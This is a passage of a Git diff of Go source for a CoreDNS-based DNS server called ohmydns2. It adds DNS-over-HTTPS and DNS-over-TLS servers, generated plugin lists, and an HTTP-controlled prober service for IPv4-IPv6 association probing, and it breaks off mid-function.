// out := startUpZones(transport.GRPC+"://", s.Addr, s.zones)
// if out != "" {
// fmt.Print(out)
// }
//}
//
//// Stop stops the server. It blocks until the server is
//// totally stopped.
//func (s *ServergRPC) Stop() (err error) {
// s.m.Lock()
// defer s.m.Unlock()
// if s.grpcServer != nil {
// s.grpcServer.GracefulStop()
// }
// return
//}
//
//// Query is the main entry-point into the gRPC server. From here we call ServeDNS like
//// any normal server. We use a custom responseWriter to pick up the bytes we need to write
//// back to the client as a protobuf.
//func (s *ServergRPC) Query(ctx context.Context, in *pb.DnsPacket) (*pb.DnsPacket, error) {
// msg := new(dns.Msg)
// err := msg.Unpack(in.Msg)
// if err != nil {
// return nil, err
// }
//
// p, ok := peer.FromContext(ctx)
// if !ok {
// return nil, errors.New("no peer in gRPC context")
// }
//
// a, ok := p.Addr.(*net.TCPAddr)
// if !ok {
// return nil, fmt.Errorf("no TCP peer in gRPC context: %v", p.Addr)
// }
//
// w := &gRPCresponse{localAddr: s.listenAddr, remoteAddr: a, Msg: msg}
//
// dnsCtx := context.WithValue(ctx, Key{}, s.Server)
// dnsCtx = context.WithValue(dnsCtx, LoopKey{}, 0)
// s.ServeDNS(dnsCtx, w, msg)
//
// packed, err := w.Msg.Pack()
// if err != nil {
// return nil, err
// }
//
// return &pb.DnsPacket{Msg: packed}, nil
//}
//
//// Shutdown stops the server (non gracefully).
//func (s *ServergRPC) Shutdown() error {
// if s.grpcServer != nil {
// s.grpcServer.Stop()
// }
// return nil
//}
//
//type gRPCresponse struct {
// localAddr net.Addr
// remoteAddr net.Addr
// Msg *dns.Msg
//}
//
//// Write is the hack that makes this work. It does not actually write the message
//// but returns the bytes we need to write in r. We can then pick this up in Query
//// and write a proper protobuf back to the client.
//func (r *gRPCresponse) Write(b []byte) (int, error) {
// r.Msg = new(dns.Msg)
// return len(b), r.Msg.Unpack(b)
//}
//
//// These methods implement the dns.ResponseWriter interface from Go DNS.
//func (r *gRPCresponse) Close() error { return nil }
//func (r *gRPCresponse) TsigStatus() error { return nil }
//func (r *gRPCresponse) TsigTimersOnly(b bool) {}
//func (r *gRPCresponse) Hijack() {}
//func (r *gRPCresponse) LocalAddr() net.Addr { return r.localAddr }
//func (r *gRPCresponse) RemoteAddr() net.Addr { return r.remoteAddr }
//func (r *gRPCresponse) WriteMsg(m *dns.Msg) error { r.Msg = m; return nil }

View File

@@ -0,0 +1,209 @@
package dnsserver
import (
"context"
"crypto/tls"
"fmt"
stdlog "log"
"net"
"net/http"
"ohmydns2/plugin/pkg/dnsutil"
"ohmydns2/plugin/pkg/doh"
olog "ohmydns2/plugin/pkg/log"
"ohmydns2/plugin/pkg/response"
"ohmydns2/plugin/pkg/reuseport"
"ohmydns2/plugin/pkg/transport"
"ohmydns2/plugin/prometheus/vars"
"strconv"
"time"
"github.com/coredns/caddy"
)
// ServerHTTPS represents an instance of a DNS-over-HTTPS server.
type ServerHTTPS struct {
*Server
httpsServer *http.Server
listenAddr net.Addr
tlsConfig *tls.Config
validRequest func(*http.Request) bool
}
// loggerAdapter is a simple adapter around OhmyDNS logger made to implement io.Writer in order to log errors from HTTP server
type loggerAdapter struct {
}
func (l *loggerAdapter) Write(p []byte) (n int, err error) {
olog.Debug(string(p))
return len(p), nil
}
// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH)
type HTTPRequestKey struct{}
// NewServerHTTPS returns a new CoreDNS HTTPS server and compiles all plugins in to it.
func NewServerHTTPS(addr string, group []*Config) (*ServerHTTPS, error) {
s, err := NewServer(addr, group)
if err != nil {
return nil, err
}
// The *tls* plugin must make sure that multiple conflicting
// TLS configuration returns an error: it can only be specified once.
var tlsConfig *tls.Config
for _, z := range s.zones {
for _, conf := range z {
// Should we error if some configs *don't* have TLS?
tlsConfig = conf.TLSConfig
}
}
// http/2 is recommended when using DoH. We need to specify it in next protos
// or the upgrade won't happen.
if tlsConfig != nil {
tlsConfig.NextProtos = []string{"h2", "http/1.1"}
}
// Use a custom request validation func or use the standard DoH path check.
var validator func(*http.Request) bool
for _, z := range s.zones {
for _, conf := range z {
validator = conf.HTTPRequestValidateFunc
}
}
if validator == nil {
validator = func(r *http.Request) bool { return r.URL.Path == doh.Path }
}
srv := &http.Server{
ReadTimeout: s.readTimeout,
WriteTimeout: s.writeTimeout,
IdleTimeout: s.idleTimeout,
ErrorLog: stdlog.New(&loggerAdapter{}, "", 0),
}
sh := &ServerHTTPS{
Server: s, tlsConfig: tlsConfig, httpsServer: srv, validRequest: validator,
}
sh.httpsServer.Handler = sh
return sh, nil
}
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
var _ caddy.GracefulServer = &Server{}
// Serve implements caddy.TCPServer interface.
func (s *ServerHTTPS) Serve(l net.Listener) error {
s.m.Lock()
s.listenAddr = l.Addr()
s.m.Unlock()
if s.tlsConfig != nil {
l = tls.NewListener(l, s.tlsConfig)
}
return s.httpsServer.Serve(l)
}
// ServePacket implements caddy.UDPServer interface.
func (s *ServerHTTPS) ServePacket(p net.PacketConn) error { return nil }
// Listen implements caddy.TCPServer interface.
func (s *ServerHTTPS) Listen() (net.Listener, error) {
l, err := reuseport.Listen("tcp", s.Addr[len(transport.HTTPS+"://"):])
if err != nil {
return nil, err
}
return l, nil
}
// ListenPacket implements caddy.UDPServer interface.
func (s *ServerHTTPS) ListenPacket() (net.PacketConn, error) { return nil, nil }
// OnStartupComplete lists the sites served by this server
// and any relevant information, assuming Quiet is false.
func (s *ServerHTTPS) OnStartupComplete() {
if Quiet {
return
}
out := startUpZones(transport.HTTPS+"://", s.Addr, s.zones)
if out != "" {
fmt.Print(out)
}
}
// Stop stops the server. It blocks until the server is totally stopped.
func (s *ServerHTTPS) Stop() error {
s.m.Lock()
defer s.m.Unlock()
if s.httpsServer != nil {
s.httpsServer.Shutdown(context.Background())
}
return nil
}
// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin
// chain, converts it back and write it to the client.
func (s *ServerHTTPS) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if !s.validRequest(r) {
http.Error(w, "", http.StatusNotFound)
s.countResponse(http.StatusNotFound)
return
}
msg, err := doh.RequestToMsg(r)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
s.countResponse(http.StatusBadRequest)
return
}
// Create a DoHWriter with the correct addresses in it.
h, p, _ := net.SplitHostPort(r.RemoteAddr)
port, _ := strconv.Atoi(p)
dw := &DoHWriter{
laddr: s.listenAddr,
raddr: &net.TCPAddr{IP: net.ParseIP(h), Port: port},
request: r,
}
// We just call the normal chain handler - all error handling is done there.
// We should expect a packet to be returned that we can send to the client.
ctx := context.WithValue(context.Background(), Key{}, s.Server)
ctx = context.WithValue(ctx, LoopKey{}, 0)
ctx = context.WithValue(ctx, HTTPRequestKey{}, r)
s.ServeDNS(ctx, dw, msg)
// See section 4.2.1 of RFC 8484.
// We are using code 500 to indicate an unexpected situation when the chain
// handler has not provided any response message.
if dw.Msg == nil {
http.Error(w, "No response", http.StatusInternalServerError)
s.countResponse(http.StatusInternalServerError)
return
}
buf, _ := dw.Msg.Pack()
mt, _ := response.Typify(dw.Msg, time.Now().UTC())
age := dnsutil.MinimalTTL(dw.Msg, mt)
w.Header().Set("Content-Type", doh.MimeType)
w.Header().Set("Cache-Control", fmt.Sprintf("max-age=%f", age.Seconds()))
w.Header().Set("Content-Length", strconv.Itoa(len(buf)))
w.WriteHeader(http.StatusOK)
s.countResponse(http.StatusOK)
w.Write(buf)
}
func (s *ServerHTTPS) countResponse(status int) {
vars.HTTPSResponsesCount.WithLabelValues(s.Addr, strconv.Itoa(status)).Inc()
}
// Shutdown stops the server (non gracefully).
func (s *ServerHTTPS) Shutdown() error {
if s.httpsServer != nil {
s.httpsServer.Shutdown(context.Background())
}
return nil
}

View File

@@ -0,0 +1,102 @@
package dnsserver
import (
"context"
"crypto/tls"
"fmt"
"net"
"ohmydns2/plugin/pkg/reuseport"
"ohmydns2/plugin/pkg/transport"
"time"
"github.com/coredns/caddy"
"github.com/miekg/dns"
)
// ServerTLS represents an instance of a TLS-over-DNS-server.
type ServerTLS struct {
*Server
tlsConfig *tls.Config
}
// NewServerTLS returns a new CoreDNS TLS server and compiles all plugin in to it.
func NewServerTLS(addr string, group []*Config) (*ServerTLS, error) {
s, err := NewServer(addr, group)
if err != nil {
return nil, err
}
// The *tls* plugin must make sure that multiple conflicting
// TLS configuration returns an error: it can only be specified once.
var tlsConfig *tls.Config
for _, z := range s.zones {
for _, conf := range z {
// Should we error if some configs *don't* have TLS?
tlsConfig = conf.TLSConfig
}
}
return &ServerTLS{Server: s, tlsConfig: tlsConfig}, nil
}
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
var _ caddy.GracefulServer = &Server{}
// Serve implements caddy.TCPServer interface.
func (s *ServerTLS) Serve(l net.Listener) error {
s.m.Lock()
if s.tlsConfig != nil {
l = tls.NewListener(l, s.tlsConfig)
}
// Only fill out the TCP server for this one.
s.server[tcp] = &dns.Server{Listener: l,
Net: "tcp-tls",
MaxTCPQueries: tlsMaxQueries,
ReadTimeout: s.readTimeout,
WriteTimeout: s.writeTimeout,
IdleTimeout: func() time.Duration {
return s.idleTimeout
},
Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
ctx := context.WithValue(context.Background(), Key{}, s.Server)
ctx = context.WithValue(ctx, LoopKey{}, 0)
s.ServeDNS(ctx, w, r)
})}
s.m.Unlock()
return s.server[tcp].ActivateAndServe()
}
// ServePacket implements caddy.UDPServer interface.
func (s *ServerTLS) ServePacket(p net.PacketConn) error { return nil }
// Listen implements caddy.TCPServer interface.
func (s *ServerTLS) Listen() (net.Listener, error) {
l, err := reuseport.Listen("tcp", s.Addr[len(transport.TLS+"://"):])
if err != nil {
return nil, err
}
return l, nil
}
// ListenPacket implements caddy.UDPServer interface.
func (s *ServerTLS) ListenPacket() (net.PacketConn, error) { return nil, nil }
// OnStartupComplete lists the sites served by this server
// and any relevant information, assuming Quiet is false.
func (s *ServerTLS) OnStartupComplete() {
if Quiet {
return
}
out := startUpZones(transport.TLS+"://", s.Addr, s.zones)
if out != "" {
fmt.Print(out)
}
}
const (
tlsMaxQueries = -1
)

View File

@@ -0,0 +1,19 @@
package dnsserver
import (
"context"
"ohmydns2/plugin/pkg/request"
)
// Viewer - If Viewer is implemented by a plugin in a server block, its Filter()
// is added to the server block's filter functions when starting the server. When a running server
// serves a DNS request, it will route the request to the first Config (server block) that passes
// all its filter functions.
type Viewer interface {
// Filter returns true if the server should use the server block in which the implementing plugin resides, and the
// name of the view for metrics logging.
Filter(ctx context.Context, req *request.Request) bool
// ViewName returns the name of the view
ViewName() string
}

View File

@@ -0,0 +1,21 @@
// generated by plugin_gen.go; DO NOT EDIT
package dnsserver
// Directives are registered in the order they should be
// executed.
//
// Ordering is VERY important. Every plugin will
// feel the effects of all other plugin below
// (after) them during a request, but they must not
// care what plugin above them are doing.
var Directives = []string{
"log",
"dnstap",
"debug",
"prometheus",
"forward",
"metadata",
"whoami",
"atk",
}

View File

@@ -0,0 +1,17 @@
// generated by plugin_gen.go; DO NOT EDIT
package plugin
import (
// Include all plugins.
_ "ohmydns2/plugin/atk"
_ "ohmydns2/plugin/debug"
_ "ohmydns2/plugin/dnstap"
_ "ohmydns2/plugin/forward"
_ "ohmydns2/plugin/log"
_ "ohmydns2/plugin/metadata"
_ "ohmydns2/plugin/prober/probe53"
_ "ohmydns2/plugin/prober/qname"
_ "ohmydns2/plugin/prometheus"
_ "ohmydns2/plugin/whoami"
)

View File

@@ -0,0 +1,85 @@
package prober
import (
"fmt"
"net"
"strings"
)
type addr struct {
Port string
Transport string // HTTP
Address string // used for bound addr - validation of overlapping
}
// String returns the string representation of addr.
func (a addr) String() string {
s := "探测服务: " + a.Transport + "://" + ":" + a.Port
if a.Address != "" {
s += " on " + a.Address
}
return s
}
// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts.
func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) {
parts := strings.Split(address, "://")
switch len(parts) {
case 1:
ip, port, err := net.SplitHostPort(parts[0])
return "", ip, port, err
case 2:
ip, port, err := net.SplitHostPort(parts[1])
return parts[0], ip, port, err
default:
return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address)
}
}
type zoneOverlap struct {
registeredAddr map[addr]addr // each zoneAddr is registered once by its key
unboundOverlap map[addr]addr // the "no bind" equiv Addr is registered by its original key
}
func newOverlapZone() *zoneOverlap {
return &zoneOverlap{registeredAddr: make(map[addr]addr), unboundOverlap: make(map[addr]addr)}
}
// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered
// we consider that an unbound address is overlapping all bound addresses for same zone, same port
func (zo *zoneOverlap) registerAndCheck(a addr) (existingZone *addr, overlappingZone *addr) {
existingZone, overlappingZone = zo.check(a)
if existingZone != nil || overlappingZone != nil {
return existingZone, overlappingZone
}
// there is no overlap, keep the current zoneAddr for future checks
zo.registeredAddr[a] = a
zo.unboundOverlap[a.unbound()] = a
return nil, nil
}
// check validates a zoneAddr for overlap without registering it
func (zo *zoneOverlap) check(a addr) (existingAddr *addr, overlappingAddr *addr) {
if exist, ok := zo.registeredAddr[a]; ok {
// exact same zone already registered
return &exist, nil
}
uz := a.unbound()
if already, ok := zo.unboundOverlap[uz]; ok {
if a.Address == "" {
// current is not bound to an address, but there is already another zone with a bind address registered
return nil, &already
}
if _, ok := zo.registeredAddr[uz]; ok {
// current zone is bound to an address, but there is already an overlapping zone+port with no bind address
return nil, &uz
}
}
// there is no overlap
return nil, nil
}
// unbound returns an unbound version of the zoneAddr
func (a addr) unbound() addr {
return addr{Address: "", Port: a.Port, Transport: a.Transport}
}

View File

@@ -0,0 +1,54 @@
package prober
import (
"fmt"
"ohmydns2/plugin/pkg/dnsutil"
"regexp"
)
// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not.
// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax
func checkZoneSyntax(zone string) bool {
if zone == "." || dnsutil.IsReverse(zone) != 0 {
return true
}
regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone)
return regex1035PreferredSyntax
}
// startUpZones creates the text that we show when starting up:
// grpc://example.com.:1055
// example.com.:1053 on 127.0.0.1
func startUpZones(protocol, addr string) string {
s := ""
//keys := make([]string, len(zones))
//i := 0
//
//for k := range zones {
// keys[i] = k
// i++
//}
//sort.Strings(keys)
//
//for _, zone := range keys {
//if strings.HasPrefix(protocol, "prober") {
// s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath)
// continue
//}
// split addr into protocol, IP and Port
_, ip, port, err := SplitProtocolHostPort(addr)
if err != nil {
// this should not happen, but we need to take care of it anyway
s += fmt.Sprintln(protocol + ":" + addr)
}
if ip == "" {
s += fmt.Sprintln(protocol + ":" + port)
}
// if the server is listening on a specific address let's make it visible in the log,
// so one can differentiate between all active listeners
s += fmt.Sprintln(protocol + ":" + port + " on " + ip)
//}
return s
}

View File

@@ -0,0 +1,15 @@
// generated by plugin_gen.go; DO NOT EDIT
package prober
// Directives are registered in the order they should be
// executed.
//
// Ordering is VERY important. Every plugin will
// feel the effects of all other plugin below
// (after) them during a request, but they must not
// care what plugin above them are doing.
var Directives = []string{
"qname",
"probe53",
}

View File

@@ -0,0 +1,10 @@
package prober
const (
globalRange = "globe"
goroutinePoolSize = 3000
)
const (
rangeParam = "prange"
)

View File

@@ -0,0 +1,285 @@
package prober
import (
"context"
"encoding/json"
"fmt"
stdlog "log"
"net"
"net/http"
"ohmydns2/core/dnsserver"
ohttp "ohmydns2/plugin/pkg/http"
olog "ohmydns2/plugin/pkg/log"
"ohmydns2/plugin/pkg/prober"
"ohmydns2/plugin/pkg/reuseport"
"ohmydns2/plugin/pkg/transport"
"ohmydns2/plugin/prometheus/vars"
"strconv"
"sync"
"github.com/coredns/caddy"
)
type ProberWriter struct {
laddr net.Addr
raddr net.Addr
request http.Request
}
type ProberHTTP struct {
*ProbeServer
httpServer *http.Server
listenAddr net.Addr
validRequest func(*http.Request) bool
m sync.Mutex
}
type proberstate struct {
Code int `json:"code"`
Probernum int `json:"probernum"`
M map[int]prober.Prober `json:"proberlist"`
Msg string `json:"msg"`
}
type codeAndMsg struct {
Code int `json:"code"`
Msg string `json:"msg"`
}
// loggerAdapter is a simple adapter around CoreDNS logger made to implement io.Writer in order to log errors from HTTP server
type loggerAdapter struct {
}
func (l *loggerAdapter) Write(p []byte) (n int, err error) {
olog.Debug(string(p))
return len(p), nil
}
// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH)
type HTTPRequestKey struct{}
// NewProberHTTP returns a new ohmydns prober(可用HTTP调用参数) and compiles all plugins in to it.
func NewProberHTTP(addr string, conf *prober.PBConfig) (*ProberHTTP, error) {
s, err := NewServer(addr, conf)
if err != nil {
return nil, err
}
// 定义一个检查器来检查访问路径是否正确.
var validator func(*http.Request) bool
validator = conf.HTTPRequestValidateFunc
if validator == nil {
validator = func(r *http.Request) bool { return r.URL.Path == proberPath }
}
srv := &http.Server{
ReadTimeout: s.readTimeout,
WriteTimeout: s.writeTimeout,
IdleTimeout: s.idleTimeout,
ErrorLog: stdlog.New(&loggerAdapter{}, "", 0),
}
sh := &ProberHTTP{
ProbeServer: s, httpServer: srv, validRequest: validator,
}
sh.httpServer.Handler = sh
return sh, nil
}
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
var _ caddy.GracefulServer = &dnsserver.Server{}
// Serve implements caddy.TCPServer interface.
func (p *ProberHTTP) Serve(l net.Listener) error {
p.m.Lock()
p.listenAddr = l.Addr()
p.m.Unlock()
return p.httpServer.Serve(l)
}
// ServePacket implements caddy.UDPServer interface.
func (p *ProberHTTP) ServePacket(net.PacketConn) error { return nil }
// Listen implements caddy.TCPServer interface.
func (p *ProberHTTP) Listen() (net.Listener, error) {
l, err := reuseport.Listen("tcp", p.Addr[len(transport.PROBER+"://"):])
if err != nil {
return nil, err
}
return l, nil
}
// ListenPacket implements caddy.UDPServer interface.
func (p *ProberHTTP) ListenPacket() (net.PacketConn, error) { return nil, nil }
// OnStartupComplete lists the sites served by this server
// and any relevant information, assuming Quiet is false.
func (p *ProberHTTP) OnStartupComplete() {
if Quiet {
return
}
out := startUpZones(transport.PROBER+"://", p.Addr)
if out != "" {
fmt.Print(out)
}
}
// Stop stops the server. It blocks until the server is totally stopped.
func (p *ProberHTTP) Stop() error {
p.m.Lock()
defer p.m.Unlock()
if p.httpServer != nil {
err := p.httpServer.Shutdown(context.Background())
if err != nil {
return err
}
}
return nil
}
// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin
// chain, converts it back and write it to the client.
func (p *ProberHTTP) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if !p.validRequest(r) {
http.Error(w, "", http.StatusNotFound)
p.countResponse(http.StatusNotFound)
return
}
// 设置响应头部
w.Header().Set("Content-Type", proberContenttype)
// 解析请求
param, _ := ohttp.ParseRequest(r)
// 参数定义
// act: res代表获取当前所有Prober状态new代表新建Prober
// ptype: 探针类型v64代表IPv4-IPv6关联发现的探针,默认v64
// prange: 探测范围,默认全局,
// 检查参数
if res, rc := prober.VaildArgs(param); rc != 0 {
//发生错误
w.WriteHeader(http.StatusBadRequest)
p.countResponse(http.StatusBadRequest)
rec := &proberstate{Code: http.StatusBadRequest, Msg: res}
msg, _ := json.Marshal(rec)
_, err := w.Write(msg)
if err != nil {
return
}
return
}
// 参数没有问题,开始处理
if v, ok := param["act"]; ok {
switch v[0] {
case "new":
ctx := context.WithValue(context.Background(), Key{}, p.ProbeServer)
ctx = context.WithValue(ctx, LoopKey{}, 0)
ctx = context.WithValue(ctx, HTTPRequestKey{}, r)
serverr, rs := p.ServeProbe(ctx, w, r)
// 服务发生错误
if serverr != nil {
//发生错误
w.WriteHeader(http.StatusInternalServerError)
p.countResponse(http.StatusInternalServerError)
res := &codeAndMsg{Code: http.StatusInternalServerError, Msg: rs}
msg, _ := json.Marshal(res)
_, err := w.Write(msg)
if err != nil {
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
return
}
return
}
//一切正常
w.WriteHeader(http.StatusOK)
p.countResponse(http.StatusOK)
rec := &codeAndMsg{Code: http.StatusOK, Msg: rs}
msg, _ := json.Marshal(rec)
_, err := w.Write(msg)
if err != nil {
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
return
}
return
case "stop":
if n, pok := param["pid"]; pok {
id, _ := strconv.Atoi(n[0])
err := p.proberlist.DeleteProberById(id)
if err != nil {
return
}
// 成功删除
w.WriteHeader(http.StatusOK)
p.countResponse(http.StatusOK)
rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止探测器" + strconv.Itoa(id)}
msg, _ := json.Marshal(rec)
_, err = w.Write(msg)
if err != nil {
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
return
}
return
}
// 无参数指定则停止所有探测任务
for pid := range p.proberlist.Pl {
err := p.proberlist.DeleteProberById(pid)
if err != nil {
return
}
}
w.WriteHeader(http.StatusOK)
p.countResponse(http.StatusOK)
rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止所有探测器"}
msg, _ := json.Marshal(rec)
_, err := w.Write(msg)
if err != nil {
olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
return
}
return
default:
//跳转到列举探测器状态
break
}
}
// 无act参数默认列举所有探测器当前状态
allProber, m, err := p.proberlist.ListAllProber()
if err != nil {
return
}
rt := proberstate{
Code: http.StatusOK,
Probernum: allProber,
M: m,
}
w.WriteHeader(http.StatusOK)
p.countResponse(http.StatusOK)
msg, _ := json.Marshal(rt)
w.Write(msg)
}
func (p *ProberHTTP) countResponse(status int) {
vars.HTTPSResponsesCount.WithLabelValues(p.Addr, strconv.Itoa(status)).Inc()
}
// Shutdown stops the server (non gracefully).
func (p *ProberHTTP) Shutdown() error {
if p.httpServer != nil {
p.httpServer.Shutdown(context.Background())
}
return nil
}
const (
proberContenttype = "application/json"
proberPath = "/prober"
proberurl = "localhost"
)

View File

@@ -0,0 +1,405 @@
package prober
import (
"context"
"encoding/json"
"errors"
"fmt"
"github.com/coredns/caddy"
ot "github.com/opentracing/opentracing-go"
"github.com/panjf2000/ants/v2"
"net"
"net/http"
"ohmydns2/plugin"
ohttp "ohmydns2/plugin/pkg/http"
olog "ohmydns2/plugin/pkg/log"
"ohmydns2/plugin/pkg/prober"
"ohmydns2/plugin/pkg/request"
"ohmydns2/plugin/pkg/reuseport"
"ohmydns2/plugin/pkg/trace"
"ohmydns2/plugin/pkg/transport"
"ohmydns2/plugin/prometheus/vars"
"runtime"
"runtime/debug"
"sync"
"time"
)
// ProbeServer represents an instance of a server, which serves
// DNS requests at a particular address (host and port). A
// server is capable of serving numerous zones on
// the same address and the listener may be stopped for
// graceful termination (POSIX only).
type ProbeServer struct {
Addr string // Address we listen on
server *http.Server // http服务
m sync.Mutex // protects the servers
conf *prober.PBConfig // zones keyed by their port
httpWg sync.WaitGroup // used to wait on outstanding connections
graceTimeout time.Duration // the maximum duration of a graceful shutdown
trace trace.Trace // the trace plugin for the server
debug bool // disable recover()
stacktrace bool // enable stacktrace in recover error log
classChaos bool // allow non-INET class queries
idleTimeout time.Duration // Idle timeout for TCP
readTimeout time.Duration // Read timeout for TCP
writeTimeout time.Duration // Write timeout for TCP
proberlist *prober.ProberAndGoroutList //探测器列表
tsigSecret map[string]string
}
// response 是Prober控制响应的抽象
type response struct {
Code int `json:"code"`
Msg string `json:"msg"`
}
// NewServer returns a new OhmyDNS2 probe server and compiles all plugins in to it.
func NewServer(addr string, conf *prober.PBConfig) (*ProbeServer, error) {
s := &ProbeServer{
Addr: addr,
graceTimeout: 5 * time.Second,
idleTimeout: 10 * time.Second,
readTimeout: 3 * time.Second,
writeTimeout: 5 * time.Second,
tsigSecret: make(map[string]string),
proberlist: &prober.ProberAndGoroutList{
Pl: make(map[int]*prober.Prober),
GRPool: new(ants.Pool),
},
}
s.proberlist.GRPool, _ = ants.NewPool(goroutinePoolSize, ants.WithPreAlloc(true))
olog.Infof("服务启动,监听地址: %v", addr)
// We have to bound our wg with one increment
// to prevent a "race condition" that is hard-coded
// into sync.WaitGroup.Wait() - basically, an add
// with a positive delta must be guaranteed to
// occur before Wait() is called on the wg.
// In a way, this kind of acts as a safety barrier.
s.httpWg.Add(1)
if conf.Debug {
s.debug = true
olog.D.Set()
}
s.stacktrace = conf.Stacktrace
// append the config to the zone's configs
s.conf = conf
// set timeouts
if conf.ReadTimeout != 0 {
s.readTimeout = conf.ReadTimeout
}
if conf.WriteTimeout != 0 {
s.writeTimeout = conf.WriteTimeout
}
if conf.IdleTimeout != 0 {
s.idleTimeout = conf.IdleTimeout
}
//// copy tsig secrets
//for key, secret := range conf.TsigSecret {
// s.tsigSecret[key] = secret
//}
// compile custom plugin for everything
var stack plugin.Prober
for i := len(conf.Plugin) - 1; i >= 0; i-- {
stack = conf.Plugin[i](stack)
// register the *handler* also
conf.RegisterProber(stack)
// If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin
// list backwards, so the first MetadataCollector plugin wins.
if mdc, ok := stack.(prober.ProberMetadataCollector); ok {
conf.MetaCollector = mdc
}
if s.trace == nil && stack.Name() == "trace" {
// we have to stash away the plugin, not the
// Tracer object, because the Tracer won't be initialized yet
if t, ok := stack.(trace.Trace); ok {
s.trace = t
}
}
// Unblock CH class queries when any of these plugins are loaded.
if _, ok := EnableChaos[stack.Name()]; ok {
s.classChaos = true
}
conf.PluginChain = stack
}
if !s.debug {
// When reloading we need to explicitly disable debug logging if it is now disabled.
olog.D.Clear()
}
return s, nil
}
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
var _ caddy.GracefulServer = &ProbeServer{}
// Serve starts the server with an existing listener. It blocks until the server stops.
// This implements caddy.TCPServer interface.
func (ps *ProbeServer) Serve(l net.Listener) error {
ps.m.Lock()
ps.server = &http.Server{
Addr: l.Addr().String(),
Handler: http.HandlerFunc(func(writer http.ResponseWriter, r *http.Request) {
ctx := context.WithValue(context.Background(), Key{}, ps)
ctx = context.WithValue(ctx, LoopKey{}, 0)
err, s := ps.ServeProbe(ctx, writer, r)
if err != nil {
olog.Errorf("prober_serve/Serve: %v \n %v", err.Error(), s)
return
}
}),
DisableGeneralOptionsHandler: false,
ReadTimeout: ps.readTimeout,
WriteTimeout: ps.writeTimeout,
IdleTimeout: ps.idleTimeout}
ps.m.Unlock()
return ps.server.ListenAndServe()
}
// ServePacket starts the server with an existing packetconn. It blocks until the server stops.
// This implements caddy.UDPServer interface.
func (ps *ProbeServer) ServePacket(net.PacketConn) error {
return nil
}
// Listen implements caddy.TCPServer interface.
func (ps *ProbeServer) Listen() (net.Listener, error) {
l, err := reuseport.Listen("tcp", ps.Addr[len(transport.DNS+"://"):])
if err != nil {
return nil, err
}
return l, nil
}
// WrapListener Listen implements caddy.GracefulServer interface.
func (ps *ProbeServer) WrapListener(ln net.Listener) net.Listener {
return ln
}
// ListenPacket implements caddy.UDPServer interface.
func (ps *ProbeServer) ListenPacket() (net.PacketConn, error) {
p, err := reuseport.ListenPacket("udp", ps.Addr[len(transport.DNS+"://"):])
if err != nil {
return nil, err
}
return p, nil
}
// Stop stops the server. It blocks until the server is
// totally stopped. On POSIX systems, it will wait for
// connections to close (up to a max timeout of a few
// seconds); on Windows it will close the listener
// immediately.
// This implements Caddy.Stopper interface.
func (ps *ProbeServer) Stop() (err error) {
// 清空协程池
defer ps.proberlist.GRPool.Release()
if runtime.GOOS != "windows" {
// force connections to close after timeout
done := make(chan struct{})
go func() {
ps.httpWg.Done() // decrement our initial increment used as a barrier
ps.httpWg.Wait()
close(done)
}()
// Wait for remaining connections to finish or
// force them all to close after timeout
select {
case <-time.After(ps.graceTimeout):
case <-done:
}
}
// Close the listener now; this stops the server without delay
ps.m.Lock()
// We might not have started and initialized the full set of servers
if ps.server != nil {
err = ps.server.Shutdown(context.Background())
}
ps.m.Unlock()
return
}
// Address together with Stop() implement caddy.GracefulServer.
func (ps *ProbeServer) Address() string { return ps.Addr }
// ServeProbe 是每一个prober控制请求的入口
// It acts as a multiplexer for the requests zonename as
// defined in the request so that the correct zone
// (configuration and plugin stack) will handle the request.
func (ps *ProbeServer) ServeProbe(ctx context.Context, w http.ResponseWriter, req *http.Request) (error, string) {
if !ps.debug {
defer func() {
// In case the user doesn't enable error plugin, we still
// need to make sure that we stay alive up here
if rec := recover(); rec != nil {
if ps.stacktrace {
olog.Errorf("Recovered from panic in server: %q %v\n%s", ps.Addr, rec, string(debug.Stack()))
} else {
olog.Errorf("Recovered from panic in server: %q %v", ps.Addr, rec)
}
vars.Panic.Inc()
errorAndMetricsFunc(ps.Addr, w, "ProbeServer-ServeHTTP-Error", http.StatusInternalServerError)
}
}()
}
// Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer.
//w = request.NewScrubWriter(r, w)
// 获取请求参数
param, _ := ohttp.ParseRequest(req)
//// 用于探测的客户端(启用嵌入prober结构体中)
//c := new(dns.Client)
pcf := ps.conf
if pcf.PluginChain == nil { // can not get any plugins
errorAndMetricsFunc(ps.Addr, w, "探测器缺少插件链", http.StatusNotImplemented)
return errors.New("探测器缺少插件链"), "探测器缺少插件链"
}
if pcf.MetaCollector != nil {
// Collect metadata now, so it can be used before we send a request down the plugin chain.
ctx = pcf.MetaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w})
}
// 生成目标,开始探测
targets, targetNum := getTarget(param[rangeParam])
// 将探测配置添加到上下文中
ctx = context.WithValue(ctx, prober.PAddrNum, targetNum)
